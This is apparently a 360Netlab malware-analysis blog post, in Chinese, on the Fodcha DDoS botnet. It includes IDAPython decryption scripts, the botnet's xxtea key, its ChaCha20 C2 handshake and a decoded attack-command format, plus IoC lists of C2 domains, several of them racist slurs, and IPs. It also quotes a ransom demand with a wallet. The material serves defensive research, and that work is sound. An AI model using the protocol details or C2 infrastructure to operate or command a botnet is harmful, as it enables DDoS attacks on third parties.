Fodcha在V2.X,V3使用并列的Config组织方式,而在V4,V4.X中则使用结构化的Config组织方式,下图非常清楚的显示了它们的区别。
虽然Config的组织方法不一样,但它们的加密方法是一样的,通过下面代码片段引用的常量可知,它们使用的是xxtea算法,密钥为PJbiNbbeasddDfsc。
经过逆向,我们编写了以下IDAPYTHON脚本来解密配置信息。
# md5: ea7945724837f019507fd613ba3e1da9
# requirement: pip install xxtea-py
# test: ida7.6_python3
import ida_bytes
import xxtea
BufBase=0x1F2B0
ConfBase=0x0001F1A0
key=b"PJbiNbbeasddDfsc"
for i in range(17):
offset=ida_bytes.get_word(i*16+ConfBase+2)
leng=ida_bytes.get_word(i*16+ConfBase+4)-offset
buf=ida_bytes.get_bytes(BufBase+offset,leng)
print("index:%d, %s" %(i,xxtea.decrypt(buf,key)))
解密后的Config信息如下表所示,可以看到index 11还保留着“投降”的彩蛋,另外值得一提的是index 12,它是reporter服务器地址,Fodcha会将一些特定进程的信息上报给它。
Index
Value
0
snow slide
1
/proc/
2
/stat
3
/proc/self/exe
4
/cmdline
5
/maps
6
/exe
7
/lib
8
/usr/lib
9
.ri
10
GET /geoip/?res=10&r HTTP/1.1\r\nHost: 1.1.1.1\r\nConnection: Close\r\n\r\n
11
Netlab pls leave me alone I surrender
12
kvsolutions.ru
13
api.opennicproject.org
14
watchdog
15
/dev/
16
TSource Engine Query
网络通信
Fodcha的网络通信在代码层面有一个非常固定的特点:一个永真的While循环,通过switch-case进行各个阶段的处理,因此Fodcha各个版本的网络协议处理函数在IDA中产生的CFG图高度相似,这个特点可以帮助我们对样本进行辨别,对功能快速定位。
总的来说,Fodcha的网络通信要经过以下4个步骤:
1. 解密C2
2. DNS查询
3. 建立通信
4. 执行指令
0x1: 解密C2
Fodcha的不同版本支持的C2种类是不一样的,V2.X只有1组OpenNIC C2;V3&V4拥有1组OpenNIC C2,1组ICANN C2;而V4.X则是最多的,1组OpenNIC C2,2组ICANN C2,下面的图非常清楚的显示了它们的区别。
虽然C2种类&数量不一样,但是它们的处理逻辑如下图所示,几乎是一样的,首先通过C2_GET函数获得一个C2域名,然后通过DNS_QUERY函数获得C2对应的IP,其中C2_GET的第一个参数为C2密文数据,第2个参数为长度,而DNS_QUERY的第2个参数则暗示了C2的类型。
通过C2_GET可以获得一个有效的C2域名,它内部的实现可以分成2步:
* 首先得解密C2密文数据。
* 然后将它们构造成一个合法的域名。
解密C2密文数据
C2的密文数据使用了配置信息一样的加密方式,即xxtea,密钥也是PJbiNbbeasddDfsc,通过下面简单的IDAPYTHON脚本,即可解密出OpenNic C2数据。
#md5: 899047DDF6F62F07150837AEF0C1EBFB
import xxtea
import ida_bytes
import hexdump
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
print(plaintext)
解密后的C2数据如下图所示,可以看出C2数据由2部分组成,前面的是domain names,后面是TLDs,它们通过红框中的“/”符号分隔。
构造域名
Fodcha有一个特定的域名构造方法,等效的Python实现如下所示:
# md5: 899047ddf6f62f07150837aef0c1ebfb
# requirement: pip install xxtea-py
# test: ida7.6_python3
import xxtea
import ida_bytes
def getcnt(length):
cnt=1
while True:
cnt +=1
calc=2
for i in range(1,cnt):
calc+=2+12*i%cnt
if calc +cnt==length-1:
return cnt
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)
domains,tlds=plaintext.split(b'/')
domainList=domains.split(b',')
tldList=tlds.split(b',')
cnt=getcnt(len(domainList))
print("------------There're %d C2------------" %cnt)
coff=2
for i in range(0,cnt):
if i ==0:
c2Prefix=domainList[i+coff]
else:
coff+=12*i %cnt+2
c2Prefix=domainList[i+coff]
c2Tld=tldList[(cnt-i-1)*3]
print(c2Prefix + b'.' + c2Tld)
将上文得到的C2数据做为输入,最终构造出以下14个OpenNIC C2。
techsupporthelpars.oss
yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
pepperfan.geek
chinkchink.libre
peepeepoo.libre
respectkkk.geek
bladderfull.indy
tsengtsing.libre
obamalover.pirate
对ICANN域名体系熟悉的读者,或许会在第一眼就认为我们的解密是错误的,因为ICANN的域名体系并不支持这些TLDs,它们肯定“无法解析”,事实上它们正是OpenNIC体系下的域名,OpenNIC是独立于ICANN的另一套域名体系,它支持下图所示的TLDs,OpenNIC的域名无法通过常见的DNS(如8.8.8.8,101.198.198.198)解析,必须使用指定的NameServer,更多的细节就不再展开,感兴趣的读者自行到其官方网站了解。
用同样的方法,我们可以得到以下4个ICANN C2。
cookiemonsterboob[.]com
forwardchinks[.]com
doodleching[.]com
milfsfors3x[.]com
0X2: DNS查询
当成功获得C2域名后,Bot通过函数DNS_QUERY进行域名解析,它的第2个参数是一个FLAG,暗示了OpenNIC/ICANN C2的不同处理过程,相应的代码片段如下所示:
可以看出对于OpenNIC C2的解析有2个选择:
* 选择1:通过API接口向api.opennicproject.org请求,动态的获取nameserver
* 选择2:使用下图所示的硬编码nameserver
而对于ICANN C2则只有一个选择,即使用下图中的硬编码nameserver。
以实际解析 C2“techsupporthelpars.oss”为例,它的解析过程在网络流量中的体现如下所示:
为什么使用OpenNIC / ICANN 双C2?
Fodcha作者构建了一套OpenNIC / ICANN 双C2的冗余结构,他为什么要这么做呢?
从C2基础设施的角度出发,Fodcha被曝光后,其C2被一些服务商加入到了监控列表,进行拦截。例如Quad9DNS(9.9.9.9)就曾发过一个关于Fodcha域名流量spike的Twitter
在Fodcha被打击之后,其作者在重新选择C2基础设施时,看中了OpenNIC宣传的"DNS Neutrality"特性,通过绕开ICANN的域名体系,从根本上消除C2被监管&接管的可能性,因此Fodcha在V2.X引入OpenNic C2,并将其做为主C2。
与此同时,OpenNIC C2可能存在一些问题,比如OpenNIC的NameServer在某些地区可能无法访问,或者域名解析上存在效率或稳定性的问题。出于健壮性的考虑,Fodcha作者在V3之 后重新加入ICANN C2作为后备C2,与主C2构成冗余结构。
0x3: 建立通信
Fodcha Bot通过又下代码片段和C2建立连接,一共有个22个端口。
当成功和C2建立连接后,Bot与C2必须经过3个阶段的交互,才能真正建立通信。
* 阶段1:Bot向C2请求chacha20加密算法的的key&nonce。
* 阶段2:Bot与C2使用阶段1的key&nonce进行身份确认。
* 阶段3:Bot将加密后的上线&分组信息发往C2。
为了辅助分析,我们在受限的环境内运行了Bot样本,并使用fsdsaD做为分组字串,产生了下图所示的网络流量,下文将详细介绍此流量是如何生成的。
阶段1:Bot ---> C2 ,格式为head(7 bytes) + body( random 20-40 bytes)
Bot主动向C2发送netstage=6的初始化消息,这个消息的格式为head+body,各字段含义如下所示:
head
head的长度为7 bytes,格式如下所示:
06 ---->netstage,1byte,06 means init
f0 70 ---->tcpip checksum, 2byte,
00 16 ---->length of body, 2 bytes
checksum
head中的checksum使用的是tcp/ip的checksum,它计算对象为整个payload,checksum所在偏移的原始值为"\x00\x00",checksum的python实现如下所示:
def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8)
if n:
s+= ord(data[-1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
buf="\x06\x00\x00\x00\x00\x00\x16\x36\x93\x93\xb7\x27\x5c\x9a\x2a\x16\x09\xd8\x13\x32\x01\xd2\x69\x1d\x25\xf3\x42\x00\x32"
print(hex(checksum(buf)))
#hex(checksum(buf))
#0x70f0
body
body为随机生成的内容,无意义。
00000000 36 93 93 b7 27 5c 9a 2a 16 09 d8 13 32 01 d2 69
00000010 1d 25 f3 42 00 32
阶段1:C2--->Bot,共2轮
当C2收到Bot的netstage=6的消息后,就会向BOT发送2轮的数据。
*
第一轮,36 bytes , 原信息被xxtea加密,解密后作为chacha20的key,长度为32bytes
import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
keyBuf=bytes.fromhex("806d8806cd5460d8996339fbf7bac34ba1e20f792872ba0e05d096ad92a5535e60e55b8d")
chaKey=xxtea.decrypt(keyBuf,key)
hexdump.hexdump(chaKey)
#chaKey
00000000: E6 7B 1A E3 A4 4B 13 7F 14 15 5E 99 31 F2 5E 3A
00000010: D7 7B AB 0A 4D 5F 00 EF 0C 01 9F 86 94 A4 9D 4B
*
第二轮,16 bytes,原信息被xxtea加密,解密后作为chacha20的nonce,长度12bytes
import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
nonBuf=bytes.fromhex("22c803bb310c5b2512e76a472418f9ee")
chaNonce=xxtea.decrypt(nonBuf,key)
hexdump.hexdump(chaNonce)
#chaNonce
00000000: 98 79 59 57 A8 BA 7E 13 59 9F 59 6F
阶段2:Bot--->C2,chacha20加密
Bot收到chacha20的key和nonce后,就向C2发送netstage=4的消息,此次消息使用chacha20加密,key&nonce由上一阶段获得,加密的轮数为1。
我们可以使用下面的python代码可以解密上面的流量,
from Crypto.Cipher import ChaCha20
cha=ChaCha20.new(key=chaKey,nonce=chaNonce)
cha.seek(64)
tmp=bytes.fromhex('dc23c56943431018b61262481ce5a219da9480930f08714e017edc56bf903d32ac5daeb8314f1bf7e6')
rnd3=cha.decrypt(tmp)
解密后的流量如下所示,它的格式依然是前文所述的head(7 bytes)+body,其中head的netstage字段的值为04,代表身份认证。
阶段2:C2--->Bot,chacha20加密
C2在收到Bot的身份认证消息后,也向Bot的数据发送netstage=4的消息,同样使用chacha20加密,且key,nonce,轮数和Bot使用的是一样的。
使用和Bot相同的代码解密流量,可以看出它的格式也是head+body,netstage的值也为04。
在Bot和C2互发netstage=4的消息之后,代表阶段1的chacha20 key&nonce被双方认可,彼此的身份认证完成,Bot进入下一阶段准备上线。
阶段3:Bot--->C2,共2轮,chacha加密
Bot向C2发送netstage=5的消息,表示准备上线,接着再自己的分组信息上报给C2,这2轮消息也使用chacha20加密。
*
第一轮
*
第二轮
上述2轮的数据解密后如下所示,可以看出分组的内容正是预设的"fsdsaD",这代表我们的分析是正确的,至此Bot成功上线,开始等待执行C2下发的指令。
0x4:执行指令
Bot成功上线后,支持的netstage编号,如下所图所示,其中最重要的就是netstage=1代表DDoS任务,Fodcha复用了大量Mirai的攻击代码,一共支持17种攻击方法。
以下图的DDos_Task流量(netstage=01)为例:
攻击指令依然采用chacha20加密,解密后的指令如下所示,相信熟悉Mirai的读者看到此处肯定会心一笑。
00000000: 00 00 00 3C 07 01 xx 14 93 01 20 02 00 00 02 01
00000010: BB 01 00 02 00 01
上述攻击指令的格式和解析方式如下表所示:
offset
len (bytes)
value
meaning
0x00
4
00 00 00 3c
Duration
0x04
1
07
Attack Vector,07
0x05
1
1
Attack Target Cnt
0x06
4
xx 14 93 01
Attack Target,xx.20.147.1
0x0a
1
20
Netmask
0x0b
1
02
Option Cnt
0x0c
5
00 00 02 01 bb
OptionId 0,len 2, value 0x01bb ---> (port 443)
0x11
5
01 00 02 00 01
OptionId 1, len 2, value 0x0001---> (payload len 1 byte)
当Bot接收到上述指令,就会使用payload为1字节的tcp报文对目标xx.20.147.1:443进行DDoS攻击,这和实际抓包的流量是能对应上的。
花絮
0x01: 种族歧视
从某些OpenNIC C2的构词上来说,Fodcha的作者似乎对黄种人,黑人有比较大的敌意。
yellowchinks.geek
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
bladderfull.indy
wehateyellow
0x02: 攻击即勒索
Fodcha曾在其下发的UDP攻击指令中,附带以下字串:
send 10 xmr to 49UnJhpvRRxDXJHYczoUEiK3EKCQZorZWaV6HD7axKGQd5xpUQeNp7Xg9RATFpL4u8dzPfAnuMYqs2Kch1soaf5B5mdfJ1b or we will shutdown your business
Bot打出的攻击流量如下所示,该钱包地址似乎是非法的,没能给我们更多的线索,但从这一行为出发,或许Fodcha背后的运营者正在尝试攻击即勒索这种商业模式。
联系我们
感兴趣的读者,可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
解决方案
基于Netlab多年研究工作孵化的360全系列DNS安全产品均已支持文中远控服务器的拦截和检测,同时内置多种算法可有效发现和拦截各种未知威胁,建议企业客户接入360 DNS安全SaaS平台或部署本地360DNS安全产品,及时防范此类新型威胁,避免企业资产失陷。联系人: wangkun-bd@360.cn
IoC
C2
yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
tsengtsing.libre
techsupporthelpars.oss
respectkkk.geek
pepperfan.geek
peepeepoo.libre
obamalover.pirate
milfsfors3x[.]com
funnyyellowpeople.libre
fridgexperts[.]cc
forwardchinks[.]com
folded[.]in
doodleching[.]com
cookiemonsterboob[.]com
chinksdogeaters.dyn
chinkchink.libre
bladderfull.indy
blackpeeps.dyn
91.206.93.243
91.149.232.129
91.149.232.128
91.149.222.133
91.149.222.132
67.207.84.82
54.37.243.73
51.89.239.122
51.89.238.199
51.89.176.228
51.89.171.33
51.161.98.214
46.17.47.212
46.17.41.79
45.88.221.143
45.61.139.116
45.41.240.145
45.147.200.168
45.140.169.122
45.135.135.33
3.70.127.241
3.65.206.229
3.122.255.225
3.121.234.237
3.0.58.143
23.183.83.171
207.154.206.0
207.154.199.110
195.211.96.142
195.133.53.157
195.133.53.148
194.87.197.3
194.53.108.94
194.53.108.159
194.195.117.167
194.156.224.102
194.147.87.242
194.147.86.22
193.233.253.93
193.233.253.220
193.203.12.157
193.203.12.156
193.203.12.155
193.203.12.154
193.203.12.151
193.203.12.123
193.124.24.42
192.46.225.170
185.45.192.96
185.45.192.227
185.45.192.212
185.45.192.124
185.45.192.103
185.198.57.95
185.198.57.105
185.183.98.205
185.183.96.7
185.143.221.129
185.143.220.75
185.141.27.238
185.141.27.234
185.117.75.45
185.117.75.34
185.117.75.119
185.117.73.52
185.117.73.147
185.117.73.115
185.117.73.109
18.185.188.32
18.136.209.2
178.62.204.81
176.97.210.176
172.105.59.204
172.105.55.131
172.104.108.53
170.187.187.99
167.114.124.77
165.227.19.36
159.65.158.148
159.223.39.133
157.230.15.82
15.204.18.232
15.204.18.203
15.204.128.25
149.56.42.246
139.99.166.217
139.99.153.49
139.99.142.215
139.162.69.4
138.68.10.149
137.74.65.164
13.229.98.186
107.181.160.173
107.181.160.172
Reporter
kvsolutions[.]ru
icarlyfanss[.]com
Samples
ea7945724837f019507fd613ba3e1da9
899047ddf6f62f07150837aef0c1ebfb
0f781868d4b9203569357b2dbc46ef10
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 背景\n\n2022年4月13日,360Netlab首次向社区披露了Fodcha僵尸网络,在我们的文章发表之后,Fodcha遭受到相关部门的打击,其作者迅速做出回应,在样本中留下``Netlab pls leave me alone I surrender``字样向我们投降。本以为Fodcha会就此淡出江湖,没想到这次投降只是一个**不讲武德的假动作**,Fodcha的作者在诈降之后并没有停下更新的脚步,很快就推出了新版本。\n\n在新版本中,Fodcha的作者重新设计了通信协议,并开始使用xxtea和chacha20算法对敏感资源和网络通信进行加密,以躲避文件&流量层面的检测;同时引入了**OpenNIC 域名**做为主选C2,**ICANN 域名**做为后备C2的双C2方案。这种冗余机制,既能防止C2被接管,又有良好的健壮性,能够维持其主控网络的稳定。\n\n依托于背后团队强大的N-day漏洞整合能力,卷土重来的Focha与之前对比可谓有过之而无不及。在我们的数据视野中,**从规模来看**,Fodcha再次发展成日活Bot节点数超过60K,C2域名绑定40+IP,可以轻松打出超过**1Tbps**流量的大规模僵尸网络;**就活跃程度而言**,Fodcha日均攻击目标100+,累计攻击目标2万多,在10月11日到达了攻击的巅峰,单日“**丧心病狂**”的攻击了**1396个目标**。\n\n在极短的时间内重回巅峰,Fodcha的作者似乎忘了闷声发大财的道理,竟然又开始主动\"招惹”我们,在某次扫描的脚本中使用``N3t1@bG@Y``字样的leetspeak,翻译过来就是\"``NETLABGAY``\",这么明目张胆的黑Netlab,让我们觉得它多多少少有些“皮痒”了。\n\n鉴于Fodcha的规模&活跃程度带来的巨大危险性,以及非常嚣张的挑衅,我们决定撰写本文向社区分享我们的发现,一起打击Fodcha的嚣张气焰,共同维护网络安全。\n\n# 时间线\n\n依托于360Netlab强大的BotMon和DDoSMon系统,我们对Fodcha的样本演变和DDoS攻击指令一直保持着良好跟踪,下面是我们看到的样本演变以及一些重要的DDoS攻击事件。(注:Fodcha样本本身没有特定的标志表明其版本,这是我们内部为了跟踪方便而定的版本号)\n\n* 2022年1月12日,首次捕获到Fodcha僵尸网络样本。\n\n* 2022年4月13日,首次向外披露Fodcha僵尸网络,包含版本V1,V2。\n\n* 2022年4月19日,捕获版本V2.x,使用**OpenNIC's TLDs风格的C2**(全文简称OpenNIC C2)。\n\n* 2022年4月24日,捕获版本V3,使用xxtea算法加密配置信息,新增**ICANN's TLDs风格的C2**(全文简称ICANN C2),和OpenNIC C2构成冗余机制;新增反沙箱&反调试机制。\n\n* 2022年6月5日,捕获版本V4,使用结构化的配置信息,去除反沙箱&反调试机制。\n\n* 2022年6月7&8日,监控到Fodcha对**某国的某地的健康码机构**进行了DDoS攻击。\n\n* 2022年7月7日,捕获版本V4.x,额外新增一组ICANN C2。\n\n* 2022年9月X日,在协助**某国的某执法机构**固定某公司语音业务被DDoS攻击的证据链过程中,发现攻击背后有Fodcha的影子。\n\n* 2022年9月21日,**某知名云服务商**就一起流量**超过1Tbps**的攻击事件向我们咨询,经过数据的交叉比对,确定攻击方为Fodcha。\n\n \n\n# 规模推测\n国外合作伙伴的数据表明Fodcha 4月份时全球日活Bot的数量为6W([参考我们另一篇文章](__GHOST_URL__/fodcha-a-new-ddos-botnet/)),关于Fodcha僵尸网络的目前规模,我们没有确切的数字,但通过对比Fodcha 4月和10月在C2 IP数量上的差异,我们从技术上出发,有个未经验证的猜测:目前Fodcha的日活Bot数量超过6W。\n\n推测过程如下:\n僵尸网络的规模与C2 IP的数量存在一个正向关系,最朴素的观点是:“僵尸网络规模越大,所需要的C2基础设施也越多”。在4月份,Fodcha被处置之前,其作者为维持6W的规模,投入了10个C2 IP;随后Fodcha开始了自己的复活之旅,我们观察到一个现象,随着Fodcha的复苏,其C2域名对应的IP在持续增加。时至今日,Fodcha的作者投入了多少C2 IP呢?使用dig命令查询最新的C2域名``yellowchinks.dyn``的绑定IP,可以看到数量是44。\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_c2infras.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_c2infras.png\" class=\"kg-image\"/></a>\n\n可以说我们见证了Fodcha的C2 IP一步步从几个增长到今天的40+,可能的解释是作者人傻钱多无脑上资源,但结合其迅猛的传播以及历史上曾看到的万级规模,他们增加C2 IP更可能的原因是因为其僵尸网络规模太大,需要投入更多的IP资源,以使Bot与C2之间在数量上有一个合理比例,达到负载均衡。\n\n综上,我们从C2 IP数量上大幅度的增长,推测目前Fodcha的规模大于4月份,日活Bot数量超过6W。当然**再合理的推测也还是假设**,欢迎有视野的社区伙伴**不吝指正**。\n\n\n \n# DDoS统计\n\n回到C2 IP 44这个数字本身,纵然我们和僵尸网络battle多年见多识广,但这个数字依然让我们感到惊讶。世上没有无缘故的爱,光是这些IP资源,就得花费不少的,Fodcha的作者为什么愿意花这个钱呢?答案是DDoS攻击让他赚到了钱。我们节选了2022年6月29至今的数据,其攻击趋势和目标区域分布如下:\n\n<a href=\"__GHOST_URL__/content/images/2022/10/image--1-.png\"><img src=\"__GHOST_URL__/content/images/2022/10/image.min-1.png\" class=\"kg-image\"/></a>\n可以看出:\n\n* 无愧于DDoS狂魔的称号,攻击几乎没有停歇,几乎打遍全球,日均攻击事件1K+。\n\n\n* 中美两国颜色较深,说明两国累计被攻击目标及次数较多,综合考虑到两国在互联网上业务的比重原本就比较大,这里的“看起来多”是一种正常状况。\n\n攻击指令在7天内的时间分布如下所示,可以看出Fodcha发起的DDoS攻击遍及**7 * 24**小时,没有明显的时区性,我们倾向Fodcha是一个商业驱动的僵尸网络。\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_instimezone.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_instimezone.png\" class=\"kg-image\"/></a>\n\n\n# 样本分析\n\n我们将捕获的样本分成了4个大版本,其中在上一篇blog中已经分析过V1V2,此处就不再赘述了,本文选取最新的V4系列样本为主要分析对象,它们的基本信息如下所示:\n\n```\nMD5: ea7945724837f019507fd613ba3e1da9\nELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped\nLIB: uclibc\nPACKER: None\nversion: V4\n\nMD5: 899047ddf6f62f07150837aef0c1ebfb\nELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped\nLib: uclibc\nPacker: None\nVersion: V4.X\n```\n\nFodcha的Bot在被侵入设备运行时,首先会从``运行参数``,``网络的连通性``,``是否设置“LD_PRELOAD”环境变量``,``自身是否被调试``等方面进行检查,如果不满足要求就直接退出,这些检查可以看成是一种对通过模拟器&沙箱提取IOC的简单对抗。\n\n当满足要求运行要求时,则首先解密出配置信息,在Console上输出**snow slide**,然后就是一些常见的主机行为,如单一实例,进程名伪装,操控watchdog,清空特定端口进程,上报特定进程信息等,我们认为这些主机侧的功能没有太多亮点,因此不再展开分析,下文将着重从解密配置信息,网络通信,DDoS攻击等方面对Fodcha进行剖析。\n\n\n\n## 解密配置信息(Config)\n\nFodcha在V2.X,V3使用并列的Config组织方式,而在V4,V4.X中则使用结构化的Config组织方式,下图非常清楚的显示了它们的区别。\n\n\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_disconfig.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_disconfig.png\" class=\"kg-image\"/></a>\n\n\n\n虽然Config的组织方法不一样,但它们的加密方法是一样的,通过下面代码片段引用的常量可知,它们使用的是xxtea算法,密钥为``PJbiNbbeasddDfsc``。\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_xxtea.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_xxtea.png\" class=\"kg-image\"/></a>\n\n经过逆向,我们编写了以下IDAPYTHON脚本来解密配置信息。\n\n```\n# md5: ea7945724837f019507fd613ba3e1da9\n# requirement: pip install xxtea-py\n# test: ida7.6_python3\n\nimport ida_bytes\nimport xxtea\n\nBufBase=0x1F2B0\nConfBase=0x0001F1A0\nkey=b\"PJbiNbbeasddDfsc\"\nfor i in range(17):\n offset=ida_bytes.get_word(i*16+ConfBase+2)\n leng=ida_bytes.get_word(i*16+ConfBase+4)-offset\n buf=ida_bytes.get_bytes(BufBase+offset,leng)\n print(\"index:%d, %s\" %(i,xxtea.decrypt(buf,key)))\n```\n\n解密后的Config信息如下表所示,可以看到index 11还保留着“投降”的彩蛋,另外值得一提的是index 12,它是reporter服务器地址,Fodcha会将一些特定进程的信息上报给它。\n\n| Index | Value |\n| ----- | ------------------------------------------------------------ |\n| 0 | snow slide |\n| 1 | /proc/ |\n| 2 | /stat |\n| 3 | /proc/self/exe |\n| 4 | /cmdline |\n| 5 | /maps |\n| 6 | /exe |\n| 7 | /lib |\n| 8 | /usr/lib |\n| 9 | .ri |\n| 10 | GET /geoip/?res=10&r HTTP/1.1\\r\\nHost: 1.1.1.1\\r\\nConnection: Close\\r\\n\\r\\n |\n| 11 | Netlab pls leave me alone I surrender |\n| 12 | kvsolutions.ru |\n| 13 | api.opennicproject.org |\n| 14 | watchdog |\n| 15 | /dev/ |\n| 16 | TSource Engine Query |\n\n\n\n## 网络通信\n\nFodcha的网络通信在代码层面有一个非常固定的特点:一个永真的While循环,通过switch-case进行各个阶段的处理,因此Fodcha各个版本的网络协议处理函数在IDA中产生的CFG图高度相似,这个特点可以帮助我们对样本进行辨别,对功能快速定位。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_cfg.png\" width=\"860px\" /> \n\n总的来说,Fodcha的网络通信要经过以下4个步骤:\n\n1. 解密C2\n2. DNS查询\n3. 建立通信\n4. 执行指令\n\n\n\n### 0x1: 解密C2\n\nFodcha的不同版本支持的C2种类是不一样的,V2.X只有1组OpenNIC C2;V3&V4拥有1组OpenNIC C2,1组ICANN C2;而V4.X则是最多的,1组OpenNIC C2,2组ICANN C2,下面的图非常清楚的显示了它们的区别。\n\n\n\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_c2_dis.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_c2_dis.png\" class=\"kg-image\"/></a>\n\n虽然C2种类&数量不一样,但是它们的处理逻辑如下图所示,几乎是一样的,首先通过C2_GET函数获得一个C2域名,然后通过DNS_QUERY函数获得C2对应的IP,其中C2_GET的第一个参数为C2密文数据,第2个参数为长度,而DNS_QUERY的第2个参数则暗示了C2的类型。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/FODCHA_c2compose.png\" width=\"860px\" /> \n\n通过C2_GET可以获得一个有效的C2域名,它内部的实现可以分成2步:\n* 首先得解密C2密文数据。\n* 然后将它们构造成一个合法的域名。\n\n### 解密C2密文数据\n\nC2的密文数据使用了配置信息一样的加密方式,即xxtea,密钥也是**PJbiNbbeasddDfsc**,通过下面简单的IDAPYTHON脚本,即可解密出OpenNic C2数据。\n\n```\n#md5: 899047DDF6F62F07150837AEF0C1EBFB\nimport xxtea\nimport ida_bytes\nimport hexdump\nkey=b\"PJbiNbbeasddDfsc\"\nbuf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2\nplaintext=xxtea.decrypt(buf,key)\nprint(plaintext)\n```\n\n解密后的C2数据如下图所示,可以看出C2数据由2部分组成,前面的是domain names,后面是TLDs,它们通过红框中的“**/**”符号分隔。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_c2plaintext.png\" width=\"860px\" /> \n\n### 构造域名\n\nFodcha有一个特定的域名构造方法,等效的Python实现如下所示:\n\n```\n# md5: 899047ddf6f62f07150837aef0c1ebfb\n# requirement: pip install xxtea-py\n# test: ida7.6_python3\n\nimport xxtea\nimport ida_bytes\n\ndef getcnt(length):\n cnt=1\n while True:\n cnt +=1\n calc=2\n \n for i in range(1,cnt):\n calc+=2+12*i%cnt\n \n if calc +cnt==length-1:\n return cnt\n\n \nkey=b\"PJbiNbbeasddDfsc\"\nbuf=ida_bytes.get_bytes(0x0001CA6C,1568) # Ciphertext of OpenNic C2\nplaintext=xxtea.decrypt(buf,key)\n\ndomains,tlds=plaintext.split(b'/')\ndomainList=domains.split(b',')\ntldList=tlds.split(b',')\n\ncnt=getcnt(len(domainList))\n\nprint(\"------------There're %d C2------------\" %cnt)\ncoff=2\nfor i in range(0,cnt):\n if i ==0:\n c2Prefix=domainList[i+coff]\n else:\n coff+=12*i %cnt+2\n c2Prefix=domainList[i+coff]\n c2Tld=tldList[(cnt-i-1)*3]\n print(c2Prefix + b'.' + c2Tld)\n\n```\n\n将上文得到的C2数据做为输入,最终构造出以下14个OpenNIC C2。\n\n```\ntechsupporthelpars.oss\nyellowchinks.geek\nyellowchinks.dyn\nwearelegal.geek\nfunnyyellowpeople.libre\nchinksdogeaters.dyn\nblackpeeps.dyn\npepperfan.geek\nchinkchink.libre\npeepeepoo.libre\nrespectkkk.geek\nbladderfull.indy\ntsengtsing.libre\nobamalover.pirate\n```\n\n对ICANN域名体系熟悉的读者,或许会在第一眼就认为我们的解密是错误的,因为ICANN的域名体系并不支持这些TLDs,它们肯定“无法解析”,事实上它们正是OpenNIC体系下的域名,OpenNIC是独立于ICANN的另一套域名体系,它支持下图所示的TLDs,OpenNIC的域名无法通过常见的DNS(如8.8.8.8,101.198.198.198)解析,必须使用指定的NameServer,更多的细节就不再展开,感兴趣的读者自行到其[**官方网站**](https://www.opennic.org/)了解。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_opennic.png\" width=\"860px\" /> \n\n用同样的方法,我们可以得到以下4个ICANN C2。\n\n```\ncookiemonsterboob[.]com\nforwardchinks[.]com\ndoodleching[.]com\nmilfsfors3x[.]com\n```\n\n### 0X2: DNS查询\n\n当成功获得C2域名后,Bot通过函数**DNS_QUERY**进行域名解析,它的第2个参数是一个FLAG,暗示了OpenNIC/ICANN C2的不同处理过程,相应的代码片段如下所示:\n\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_disdns.png\" width=\"860px\" /> \n\n可以看出对于OpenNIC C2的解析有2个选择:\n\n* 选择1:通过API接口向**api.opennicproject.org**请求,动态的获取nameserver\n\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_resolvns.png\" width=\"860px\" /> \n\n\n* 选择2:使用下图所示的硬编码nameserver\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_opennicHard.png\" width=\"860px\" /> \n\n\n而对于ICANN C2则只有一个选择,即使用下图中的硬编码nameserver。\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_iccanHard.png\" width=\"860px\" /> \n\n\n\n以实际解析 C2“techsupporthelpars.oss”为例,它的解析过程在网络流量中的体现如下所示:\n\n<a href=\"__GHOST_URL__/content/images/2022/10/fodcha_opendnsexample.png\"><img src=\"__GHOST_URL__/content/images/2022/10/fodcha_opendnsexample.png\" class=\"kg-image\"/></a>\n\n### 为什么使用OpenNIC / ICANN 双C2?\n\nFodcha作者构建了一套OpenNIC / ICANN 双C2的冗余结构,他为什么要这么做呢?\n\n从C2基础设施的角度出发,Fodcha被曝光后,其C2被一些服务商加入到了监控列表,进行拦截。例如Quad9DNS(9.9.9.9)就曾发过一个关于Fodcha域名流量spike的Twitter\n\n<img src=\"__GHOST_URL__/content/images/2022/10/fodcha_quad.png\" width=\"860px\" /> \n\n\n在Fodcha被打击之后,其作者在重新选择C2基础设施时,看中了OpenNIC宣传的\"DNS 